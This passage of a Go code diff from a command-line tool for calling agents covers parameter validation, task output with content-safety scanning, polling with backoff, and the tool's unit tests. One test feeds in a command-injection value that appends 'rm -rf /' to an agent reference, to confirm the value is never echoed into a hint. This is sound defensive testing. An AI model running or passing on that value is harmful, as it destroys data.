return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"--param 格式应为 key=value,得到 %q", kv).
|
||||
WithParam("--param").
|
||||
WithHint("以 --param key=value 形式重发")
|
||||
}
|
||||
m[k] = v
|
||||
}
|
||||
if card != nil {
|
||||
declared := make(map[string]bool, len(card.Parameters))
|
||||
for _, p := range card.Parameters {
|
||||
declared[p.Name] = true
|
||||
}
|
||||
// Unknown keys are checked in input order so the reported key is
|
||||
// deterministic when several are undeclared.
|
||||
for _, kv := range kvs {
|
||||
k, _, _ := strings.Cut(kv, "=")
|
||||
if !declared[k] {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"未知参数 %s(该 agent 未声明此参数)", k).
|
||||
WithParam("param:"+k).
|
||||
WithHint("%s", cardHint(ref, " parameters 声明"))
|
||||
}
|
||||
}
|
||||
for _, p := range card.Parameters {
|
||||
if !p.Required {
|
||||
continue
|
||||
}
|
||||
if _, ok := m[p.Name]; !ok {
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"缺少必填参数 %s(该 agent 要求)", p.Name).
|
||||
WithParam("param:"+p.Name).
|
||||
WithHint("%s", cardHint(ref, " parameters 声明"))
|
||||
}
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// emitTask writes a task result: the standard success envelope carrying
|
||||
// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
|
||||
// the key:value human view. Because the agent's messages/artifacts are
|
||||
// untrusted external content, the payload is run through content-safety
|
||||
// scanning before emission on BOTH paths (and the pretty path additionally
|
||||
// ANSI-strips agent text). A --jq expression, when the leaf command registers
|
||||
// one, implies structured JSON and filters stdout.
|
||||
func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagent.AgentTask, next []output.NextAction, format string) error {
|
||||
out := f.IOStreams.Out
|
||||
errOut := f.IOStreams.ErrOut
|
||||
|
||||
scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
|
||||
if scan.Blocked {
|
||||
return scan.BlockErr
|
||||
}
|
||||
|
||||
if format == "pretty" && jqExpr(cmd) == "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
printTaskPretty(out, task)
|
||||
return nil
|
||||
}
|
||||
|
||||
env := output.Envelope{
|
||||
OK: true,
|
||||
Identity: string(f.ResolvedIdentity),
|
||||
Data: task,
|
||||
Notice: output.GetNotice(),
|
||||
}
|
||||
if len(next) > 0 {
|
||||
env.Meta = &output.Meta{Next: next}
|
||||
}
|
||||
if scan.Alert != nil {
|
||||
env.ContentSafetyAlert = scan.Alert
|
||||
}
|
||||
|
||||
if jq := jqExpr(cmd); jq != "" {
|
||||
if scan.Alert != nil {
|
||||
output.WriteAlertWarning(errOut, scan.Alert)
|
||||
}
|
||||
return output.JqFilter(out, env, jq)
|
||||
}
|
||||
output.PrintJson(out, env)
|
||||
return nil
|
||||
}
|
||||
|
||||
// jqExpr reads the --jq flag value if the leaf command registered one; absent
|
||||
// otherwise.
|
||||
func jqExpr(cmd *cobra.Command) string {
|
||||
if cmd == nil { // options structs built directly in tests may carry no Cmd
|
||||
return ""
|
||||
}
|
||||
if f := cmd.Flags().Lookup("jq"); f != nil {
|
||||
return f.Value.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// capabilityError returns the unsupported_capability validation error (exit 2)
|
||||
// used for capability gating: capHuman is the human-facing action (e.g.
|
||||
// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
|
||||
// interpolates ref only when it passes the whitelist (cardHint).
|
||||
func capabilityError(ref, capHuman, capKey string) error {
|
||||
return errs.NewValidationError(
|
||||
errs.SubtypeUnsupportedCapability,
|
||||
"agent '%s' 不支持 '%s'(capability %s=false)", ref, capHuman, capKey,
|
||||
).WithHint("%s", cardHint(ref, "支持的能力"))
|
||||
}
|
||||
|
||||
// normalizeTask derives the redundant IsTerminal flag from State — the single
|
||||
// source of truth — the moment a task enters the command layer, so a provider
|
||||
// that forgets (or mis-fills) the flag can never skew watch exit codes or an
|
||||
// AI caller's stop-polling decision. nil-safe; returns t for call-site chaining.
|
||||
func normalizeTask(t *iagent.AgentTask) *iagent.AgentTask {
|
||||
if t != nil {
|
||||
t.IsTerminal = t.State.IsTerminal()
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
// normalizeTaskSummaries derives IsTerminal from State for every summary (same
|
||||
// single-source rule as normalizeTask), returning the slice for chaining.
|
||||
func normalizeTaskSummaries(ts []iagent.TaskSummary) []iagent.TaskSummary {
|
||||
for i := range ts {
|
||||
ts[i].IsTerminal = ts[i].State.IsTerminal()
|
||||
}
|
||||
return ts
|
||||
}
|
||||
|
||||
// pollToStop polls GetTask with exponential backoff (1s → 5s cap) until the
|
||||
// task hits a stop condition (terminal, input_required, or auth_required)
|
||||
// or ctx is done. A timeout is not a failure: it returns the most recent
|
||||
// task with a nil error, letting the caller print the current state (exit 0). A
|
||||
// provider GetTask error is surfaced.
|
||||
func pollToStop(ctx context.Context, p *iagent.Provider, taskID string) (*iagent.AgentTask, error) {
|
||||
const (
|
||||
initialDelay = time.Second
|
||||
maxDelay = 5 * time.Second
|
||||
)
|
||||
var last *iagent.AgentTask
|
||||
delay := initialDelay
|
||||
for {
|
||||
task, err := p.GetTask(ctx, taskID)
|
||||
if err != nil {
|
||||
return last, err
|
||||
}
|
||||
last = task
|
||||
if task.State.ShouldStopPolling() {
|
||||
return task, nil
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
|
||||
}
|
||||
if !sleep(ctx, delay) {
|
||||
// ctx canceled during backoff → observation window closed, not a
|
||||
// task failure.
|
||||
return last, nil
|
||||
}
|
||||
if delay < maxDelay {
|
||||
if delay *= 2; delay > maxDelay {
|
||||
delay = maxDelay
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// semanticExitError maps a wait/watch terminal task to the semantic exit code:
|
||||
// a non-successful terminal state (failed/rejected/canceled) yields a
|
||||
// silent exit-1 signal; any other state (including a successful terminal or a
|
||||
// non-terminal stop like input_required) yields nil. A nil task yields nil.
|
||||
func semanticExitError(task *iagent.AgentTask) error {
|
||||
if task == nil || !task.IsTerminal {
|
||||
return nil
|
||||
}
|
||||
switch task.State {
|
||||
case iagent.StateFailed, iagent.StateRejected, iagent.StateCanceled:
|
||||
return output.ErrBare(1)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
798
cmd/agent/common_test.go
Normal file
798
cmd/agent/common_test.go
Normal file
@@ -0,0 +1,798 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcs "github.com/larksuite/cli/extension/contentsafety"
|
||||
iagent "github.com/larksuite/cli/internal/agent"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/output"
|
||||
)
|
||||
|
||||
func TestValidateParamsAgainstCard(t *testing.T) {
|
||||
// Card mixes a required and an optional param so both loop branches run:
|
||||
// the optional param must be skipped (the `!p.Required continue` path) while
|
||||
// the required one is still enforced.
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{
|
||||
{Name: "app_id", Required: true},
|
||||
{Name: "locale", Required: false},
|
||||
}}
|
||||
// missing required
|
||||
if _, err := parseAndValidateParams([]string{}, card, "example:agt_x"); err == nil {
|
||||
t.Error("missing required app_id should error")
|
||||
}
|
||||
// provide required, omit optional: the optional param is skipped and must not error
|
||||
m, err := parseAndValidateParams([]string{"app_id=app_sales"}, card, "example:agt_x")
|
||||
if err != nil || m["app_id"] != "app_sales" {
|
||||
t.Fatalf("should parse app_id and allow omitting optional locale: %v %v", m, err)
|
||||
}
|
||||
if _, ok := m["locale"]; ok {
|
||||
t.Errorf("an optional param that was not provided should not appear in the result: %v", m)
|
||||
}
|
||||
// invalid format
|
||||
if _, err := parseAndValidateParams([]string{"noequals"}, card, "example:agt_x"); err == nil {
|
||||
t.Error("--param without = should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_ValueWithEquals ensures values may themselves contain '='
|
||||
// (only the first '=' splits key from value).
|
||||
func TestParseParams_ValueWithEquals(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "filter"}}}
|
||||
m, err := parseAndValidateParams([]string{"filter=a=b"}, card, "example:agt_x")
|
||||
if err != nil {
|
||||
t.Fatalf("a value containing = should not error: %v", err)
|
||||
}
|
||||
if m["filter"] != "a=b" {
|
||||
t.Fatalf("value should preserve =, got %q", m["filter"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_EmptyKey rejects an empty key (leading '=').
|
||||
func TestParseParams_EmptyKey(t *testing.T) {
|
||||
if _, err := parseAndValidateParams([]string{"=v"}, &iagent.AgentCard{}, "example:agt_x"); err == nil {
|
||||
t.Error("empty key should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_UnknownKeyRejected pins that a --param key not declared in the
|
||||
// card's Parameters is a validation error (subtype invalid_argument, param
|
||||
// "param:<key>") whose hint points at `agent card`; a declared optional key
|
||||
// still passes.
|
||||
func TestParseParams_UnknownKeyRejected(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "foo"}}}
|
||||
m, err := parseAndValidateParams([]string{"foo=1"}, card, "example:agt_x")
|
||||
if err != nil || m["foo"] != "1" {
|
||||
t.Fatalf("a declared optional param should pass: %v %v", m, err)
|
||||
}
|
||||
|
||||
_, err = parseAndValidateParams([]string{"bar=1"}, card, "example:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("an undeclared --param should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "param:bar" {
|
||||
t.Fatalf("param should be param:bar, got %+v", verr)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card example:agt_x") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_NilCard tolerates a nil card (no required/unknown-param check).
|
||||
func TestParseParams_NilCard(t *testing.T) {
|
||||
m, err := parseAndValidateParams([]string{"k=v"}, nil, "example:agt_x")
|
||||
if err != nil || m["k"] != "v" {
|
||||
t.Fatalf("nil card should parse normally: %v %v", m, err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_MissingRequiredIsValidation confirms the missing-required
|
||||
// error is a validation typed error with subtype invalid_argument, its param
|
||||
// carries the param: prefix, and its hint points at agent card (Task 2 review
|
||||
// leftover).
|
||||
func TestParseParams_MissingRequiredIsValidation(t *testing.T) {
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
|
||||
_, err := parseAndValidateParams([]string{}, card, "example:agt_x")
|
||||
if err == nil {
|
||||
t.Fatal("missing required should error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("subtype should be invalid_argument, got %+v", p)
|
||||
}
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) || verr.Param != "param:app_id" {
|
||||
t.Fatalf("param should be param:app_id, got %+v", verr)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "agent card example:agt_x") {
|
||||
t.Fatalf("hint should point to agent card, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseParams_UnsafeRefDegradesHint pins the ref-interpolation whitelist on
|
||||
// the hint side: a ref that fails the <charset>:<charset> whitelist must not be
|
||||
// echoed into the hint command; the hint degrades to plain guidance instead.
|
||||
func TestParseParams_UnsafeRefDegradesHint(t *testing.T) {
|
||||
dirtyRef := "example:agt x; rm -rf /"
|
||||
card := &iagent.AgentCard{Parameters: []iagent.CardParam{{Name: "app_id", Required: true}}}
|
||||
|
||||
_, err := parseAndValidateParams([]string{}, card, dirtyRef)
|
||||
if err == nil {
|
||||
t.Fatal("missing required should error")
|
||||
}
|
||||
p, _ := errs.ProblemOf(err)
|
||||
if p == nil || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, dirtyRef) {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
|
||||
// the unknown-param path is handled the same way.
|
||||
_, err = parseAndValidateParams([]string{"app_id=1", "bogus=1"}, card, dirtyRef)
|
||||
if err == nil {
|
||||
t.Fatal("an undeclared param should error")
|
||||
}
|
||||
p, _ = errs.ProblemOf(err)
|
||||
if p == nil || p.Hint == "" || strings.Contains(p.Hint, dirtyRef) {
|
||||
t.Fatalf("unknown-param hint should degrade and not contain the unsafe ref, got %+v", p)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
|
||||
// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
|
||||
func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
|
||||
err := capabilityError("example:agt x", "task cancel", iagent.CapTaskCancel)
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Hint == "" {
|
||||
t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
|
||||
}
|
||||
if strings.Contains(p.Hint, "example:agt x") {
|
||||
t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCapabilityError pins the unsupported_capability contract.
|
||||
func TestCapabilityError(t *testing.T) {
|
||||
err := capabilityError("example:agt_xxx", "task cancel", iagent.CapTaskCancel)
|
||||
if err == nil {
|
||||
t.Fatal("should return an error")
|
||||
}
|
||||
if !errs.IsValidation(err) {
|
||||
t.Fatalf("should be a validation error, got %T", err)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
|
||||
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
|
||||
}
|
||||
if output.ExitCodeOf(err) != output.ExitValidation {
|
||||
t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
|
||||
}
|
||||
}
|
||||
|
||||
// TestSemanticExitError maps terminal task states to the wait/watch exit code.
|
||||
func TestSemanticExitError(t *testing.T) {
|
||||
cases := []struct {
|
||||
state iagent.TaskState
|
||||
wantExit int
|
||||
}{
|
||||
{iagent.StateCompleted, output.ExitOK},
|
||||
{iagent.StateFailed, 1},
|
||||
{iagent.StateRejected, 1},
|
||||
{iagent.StateCanceled, 1},
|
||||
{iagent.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
|
||||
{iagent.StateWorking, output.ExitOK},
|
||||
}
|
||||
for _, c := range cases {
|
||||
task := &iagent.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
|
||||
err := semanticExitError(task)
|
||||
if got := output.ExitCodeOf(err); got != c.wantExit {
|
||||
t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
|
||||
}
|
||||
}
|
||||
// nil task should not panic and is treated as success
|
||||
if err := semanticExitError(nil); err != nil {
|
||||
t.Errorf("nil task should return nil, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// fakePollProvider drives pollToStop through a scripted state sequence. It is
|
||||
// not registered, so provider() only wires GetTask (the sole field pollToStop
|
||||
// touches); calls/err stay observable on the struct after the poll.
|
||||
type fakePollProvider struct {
|
||||
states []iagent.TaskState
|
||||
calls int
|
||||
err error
|
||||
}
|
||||
|
||||
func (f *fakePollProvider) provider() *iagent.Provider {
|
||||
return &iagent.Provider{
|
||||
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
|
||||
if f.err != nil {
|
||||
return nil, f.err
|
||||
}
|
||||
i := f.calls
|
||||
if i >= len(f.states) {
|
||||
i = len(f.states) - 1
|
||||
}
|
||||
f.calls++
|
||||
s := f.states[i]
|
||||
return &iagent.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
|
||||
func TestPollToStop_ReachesTerminal(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
if p.calls < 3 {
|
||||
t.Fatalf("should poll at least 3 times, got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
|
||||
func TestPollToStop_StopsOnInputRequired(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateInputRequired}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task.State != iagent.StateInputRequired {
|
||||
t.Fatalf("should stop at input_required, got %s", task.State)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
|
||||
// current task with a nil error (exit 0), not a failure.
|
||||
func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
cancel() // expire immediately
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}}
|
||||
task, err := pollToStop(ctx, p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("timeout should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateWorking {
|
||||
t.Fatalf("timeout should return the current task, got %+v", task)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_GetTaskError surfaces a provider error.
|
||||
func TestPollToStop_GetTaskError(t *testing.T) {
|
||||
restore := swapSleep()
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking}, err: errors.New("boom")}
|
||||
if _, err := pollToStop(context.Background(), p.provider(), "chat_1"); err == nil {
|
||||
t.Fatal("a GetTask error should propagate")
|
||||
}
|
||||
}
|
||||
|
||||
// swapSleep replaces the package sleep with a no-op for fast tests.
|
||||
func swapSleep() func() {
|
||||
orig := sleep
|
||||
sleep = func(context.Context, time.Duration) bool { return true }
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepCapture replaces the package sleep with a no-op that records every
|
||||
// backoff duration it was asked to wait, so tests can assert the exponential /
|
||||
// clamp schedule. It always returns true (full duration elapsed).
|
||||
func swapSleepCapture(delays *[]time.Duration) func() {
|
||||
orig := sleep
|
||||
sleep = func(_ context.Context, d time.Duration) bool {
|
||||
*delays = append(*delays, d)
|
||||
return true
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// swapSleepFalseAt replaces the package sleep with a no-op that returns false
|
||||
// (as if ctx were canceled during backoff) on the falseCall-th invocation
|
||||
// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
|
||||
// branch in isolation without racing a real ctx timeout.
|
||||
func swapSleepFalseAt(falseCall int) func() {
|
||||
orig := sleep
|
||||
n := 0
|
||||
sleep = func(context.Context, time.Duration) bool {
|
||||
n++
|
||||
return n != falseCall
|
||||
}
|
||||
return func() { sleep = orig }
|
||||
}
|
||||
|
||||
// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
|
||||
// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
|
||||
// captured schedule must never exceed maxDelay and must actually reach it.
|
||||
func TestPollToStop_ClampsDelayToMax(t *testing.T) {
|
||||
var delays []time.Duration
|
||||
restore := swapSleepCapture(&delays)
|
||||
defer restore()
|
||||
|
||||
// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
|
||||
p := &fakePollProvider{states: []iagent.TaskState{
|
||||
iagent.StateWorking, iagent.StateWorking, iagent.StateWorking,
|
||||
iagent.StateWorking, iagent.StateWorking, iagent.StateCompleted,
|
||||
}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("should not error: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateCompleted {
|
||||
t.Fatalf("should stop at completed, got %+v", task)
|
||||
}
|
||||
want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
|
||||
if len(delays) != len(want) {
|
||||
t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
|
||||
}
|
||||
for i, d := range delays {
|
||||
if d > 5*time.Second {
|
||||
t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
|
||||
}
|
||||
if d != want[i] {
|
||||
t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
|
||||
// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
|
||||
// sleep, but sleep reports the wait was cut short, so pollToStop returns the
|
||||
// most recent task with a nil error (not a failure).
|
||||
func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
|
||||
restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
|
||||
defer restore()
|
||||
|
||||
p := &fakePollProvider{states: []iagent.TaskState{iagent.StateWorking, iagent.StateCompleted}}
|
||||
task, err := pollToStop(context.Background(), p.provider(), "chat_1")
|
||||
if err != nil {
|
||||
t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
|
||||
}
|
||||
if task == nil || task.State != iagent.StateWorking {
|
||||
t.Fatalf("should return the working task observed before interruption, got %+v", task)
|
||||
}
|
||||
if p.calls != 1 {
|
||||
t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
|
||||
// returns its value; a command without the flag returns "".
|
||||
func TestJqExpr(t *testing.T) {
|
||||
withFlag := &cobra.Command{Use: "get"}
|
||||
withFlag.Flags().String("jq", "", "")
|
||||
if err := withFlag.Flags().Set("jq", ".state"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := jqExpr(withFlag); got != ".state" {
|
||||
t.Errorf("with a --jq flag it should return its value, got %q", got)
|
||||
}
|
||||
|
||||
noFlag := &cobra.Command{Use: "list"}
|
||||
if got := jqExpr(noFlag); got != "" {
|
||||
t.Errorf("without a --jq flag it should return empty, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// newEmitCmd builds a `lark-cli agent <name>` command whose CommandPath() is
|
||||
// non-empty (required for content-safety scanning to engage) and optionally
|
||||
// registers a --jq flag with the given value.
|
||||
func newEmitCmd(name, jq string) *cobra.Command {
|
||||
root := &cobra.Command{Use: "lark-cli"}
|
||||
agentGroup := &cobra.Command{Use: "agent"}
|
||||
leaf := &cobra.Command{Use: name}
|
||||
root.AddCommand(agentGroup)
|
||||
agentGroup.AddCommand(leaf)
|
||||
if jq != "" {
|
||||
leaf.Flags().String("jq", "", "")
|
||||
_ = leaf.Flags().Set("jq", jq)
|
||||
}
|
||||
leaf.SetContext(context.Background())
|
||||
return leaf
|
||||
}
|
||||
|
||||
// emitFactory returns a Factory writing to fresh out/err buffers.
|
||||
func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
|
||||
out := &bytes.Buffer{}
|
||||
errOut := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: errOut},
|
||||
ResolvedIdentity: core.AsBot,
|
||||
}
|
||||
return f, out, errOut
|
||||
}
|
||||
|
||||
// csProvider is a content-safety provider stub returning a fixed alert.
|
||||
type csProvider struct{ alert *extcs.Alert }
|
||||
|
||||
func (p *csProvider) Name() string { return "test" }
|
||||
func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
|
||||
return p.alert, nil
|
||||
}
|
||||
|
||||
// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
|
||||
// lands on stdout with ok=true and the identity.
|
||||
func TestEmitTask_PlainSuccess(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
next := []output.NextAction{{Label: "poll", Command: "lark-cli agent task get example:x chat_1"}}
|
||||
if err := emitTask(f, cmd, task, next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if !env.OK || env.Identity != string(core.AsBot) {
|
||||
t.Errorf("ok/identity mismatch: %+v", env)
|
||||
}
|
||||
if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
|
||||
t.Errorf("meta.next should appear in the output: %s", out.String())
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
|
||||
// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
|
||||
// so "meta" is absent from the serialized envelope. Covers both len(next)==0
|
||||
// inputs the branch can receive.
|
||||
func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
next []output.NextAction
|
||||
}{
|
||||
{"nil next", nil},
|
||||
{"empty non-nil next", []output.NextAction{}},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
|
||||
t.Fatalf("emit should not error: %v", err)
|
||||
}
|
||||
var env output.Envelope
|
||||
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
|
||||
t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
|
||||
}
|
||||
if env.Meta != nil {
|
||||
t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
|
||||
}
|
||||
if strings.Contains(out.String(), `"meta"`) {
|
||||
t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilter routes stdout through a valid jq expression.
|
||||
func TestEmitTask_JqFilter(t *testing.T) {
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", ".data.state")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err != nil {
|
||||
t.Fatalf("jq filtering should not error: %v", err)
|
||||
}
|
||||
if got := strings.TrimSpace(out.String()); got != "working" {
|
||||
t.Errorf("jq .data.state should output working, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
|
||||
func TestEmitTask_JqFilterError(t *testing.T) {
|
||||
f, _, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateWorking}
|
||||
|
||||
if err := emitTask(f, cmd, task, nil, "json"); err == nil {
|
||||
t.Fatal("a malformed jq expression should error")
|
||||
}
|
||||
}
|
||||
|
||||
// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
|
||||
// without blocking output.
|
||||
func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
|
||||
extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
|
||||
defer extcs.Register(nil)
|
||||
|
||||
f, out, _ := emitFactory()
|
||||
cmd := newEmitCmd("task", "")
|
||||
task := &iagent.AgentTask{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}
|
||||
|
||||
